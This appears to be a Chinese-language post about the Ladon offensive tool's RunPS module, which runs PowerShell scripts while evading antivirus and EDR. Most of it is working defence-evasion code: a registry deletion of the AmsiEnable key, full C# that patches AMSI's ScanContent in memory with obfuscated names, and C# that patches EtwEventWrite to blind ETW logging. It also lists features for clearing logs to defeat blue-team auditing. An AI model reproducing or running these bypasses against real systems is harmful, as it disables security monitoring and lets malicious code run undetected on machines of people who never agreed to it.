Ladon绕过AMSI执行PowerShell 绕过EDR

[+]clsLog    清除崩溃日志、UsageLog日志、清除图标缓存、禁止UsageLog日志记录[u]默认禁止基于.net程序UsageLog日志记录(如各类工具、powershell等)防止蓝队或EDR通过日志审计[u]RunPS     无PowerShell.exe执行*.ps1脚本 新增内存绕过AMSI反病毒查杀接口[+]默认Bypass ETW 绕过部分杀软和EDR监控[+]HPreboot      SNMP重启HP打印机 .net>=4.0

1.用户账户控制，也就是UAC（EXE、COM、MSI、ActiveX的安装）     %windir%System32consent.exe2.Powershell（脚本、交互式使用、动态代码求值）    System.Management.Automation.dll3.Windows脚本宿主    wscript.exe    cscript.exe4.JavaScript、VBScript    %windir%System32jscript.dll    %windir%System32vbscript.dll5.Office VBA macros(宏)    VBE7.dll6 .NET Assembly    clr.dll7.WMI
    %windir%System32wbemfastprox.dll

Remove-Item -Path "HKLM:SoftwareMicrosoftWindows ScriptSettingsAmsiEnable" -Recurse

Load RunPSUsage:Ladon RunPS -f hello.ps1Ladon RunPS -c "echo test"Ladon RunPS bypassLadon RunPS default

echo "amsiutils"

using System;using System.ComponentModel;using System.Management.Automation;using System.Reflection;using System.Runtime.CompilerServices;using System.Runtime.InteropServices;using System.Text;
namespace Editor {    public static class Methods {        public static void Patch() {            MethodInfo original = typeof(PSObject).Assembly.GetType(Methods.CLASS).GetMethod(Methods.METHOD, BindingFlags.NonPublic | BindingFlags.Static);            MethodInfo replacement = typeof(Methods).GetMethod("Dummy", BindingFlags.NonPublic | BindingFlags.Static);            Methods.Patch(original, replacement);        }
        [MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)]        private static int Dummy(string content, string metadata) {            return 1;        }
        public static void Patch(MethodInfo original, MethodInfo replacement) {            //JIT compile methods            RuntimeHelpers.PrepareMethod(original.MethodHandle);            RuntimeHelpers.PrepareMethod(replacement.MethodHandle);
            //Get pointers to the functions            IntPtr originalSite = original.MethodHandle.GetFunctionPointer();            IntPtr replacementSite = replacement.MethodHandle.GetFunctionPointer();
            //Generate architecture specific shellcode            byte[] patch = null;            if (IntPtr.Size == 8) {                patch = new byte[] { 0x49, 0xbb, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0xff, 0xe3 };                byte[] address = BitConverter.GetBytes(replacementSite.ToInt64());                for (int i = 0; i < address.Length; i++) {                    patch[i + 2] = address[i];                }            } else {                patch = new byte[] { 0x68, 0x0, 0x0, 0x0, 0x0, 0xc3 };                byte[] address = BitConverter.GetBytes(replacementSite.ToInt32());                for (int i = 0; i < address.Length; i++) {                    patch[i + 1] = address[i];                }            }
            //Temporarily change permissions to RWE            uint oldprotect;            if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, 0x40, out oldprotect)) {                throw new Win32Exception();            }
            //Apply the patch            IntPtr written = IntPtr.Zero;            if (!Methods.WriteProcessMemory(GetCurrentProcess(), originalSite, patch, (uint)patch.Length, out written)) {                throw new Win32Exception();            }
            //Flush insutruction cache to make sure our new code executes            if (!FlushInstructionCache(GetCurrentProcess(), originalSite, (UIntPtr)patch.Length)) {                throw new Win32Exception();            }
            //Restore the original memory protection settings            if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, oldprotect, out oldprotect)) {                throw new Win32Exception();            }        }
        private static string Transform(string input) {            StringBuilder builder = new StringBuilder(input.Length + 1);                foreach(char c in input) {                char m = (char)((int)c - 1);                builder.Append(m);            }            return builder.ToString();        }
        [DllImport("kernel32.dll", SetLastError = true)]        private static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize);
        [DllImport("kernel32.dll", SetLastError = true)]        private static extern IntPtr GetCurrentProcess();
        [DllImport("kernel32.dll", SetLastError = true)]        private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
        [DllImport("kernel32.dll", SetLastError = true)]        private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
        private static readonly string CLASS = Methods.Transform("Tztufn/Nbobhfnfou/Bvupnbujpo/BntjVujmt");        private static readonly string METHOD = Methods.Transform("TdboDpoufou");    }}

Ladon RunPS -f hello.ps1Ladon RunPS f hello.ps1

Ladon RunPS -c whoamiLadon RunPS c "powershell代码"

//unhook etwusing System;using System.Reflection;using System.Runtime.InteropServices;
namespace test{    class Win32    {        [DllImport("kernel32")]        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);    }
    class Program    {        static void Main(string[] args)        {            Console.WriteLine("ETW Unhook Example @_xpn_");
            // Used for x86, I'll let you patch for x64 ;)            PatchEtw(new byte[] { 0xc2, 0x14, 0x00 });
            Console.WriteLine("ETW Now Unhooked, further calls or Assembly.Load will not be logged");            Console.ReadLine();            //Assembly.Load(new byte[] { });        }
        private static void PatchEtw(byte[] patch)        {            try            {                uint oldProtect;
                var ntdll = Win32.LoadLibrary("ntdll.dll");                var etwEventSend =   Win32.GetProcAddress(ntdll, "EtwEventWrite");
                Win32.VirtualProtect(etwEventSend, (UIntPtr)patch.Length, 0x40, out oldProtect);                Marshal.Copy(patch, 0, etwEventSend, patch.Length);            }            catch            {                Console.WriteLine("Error unhooking ETW");            }        }    }}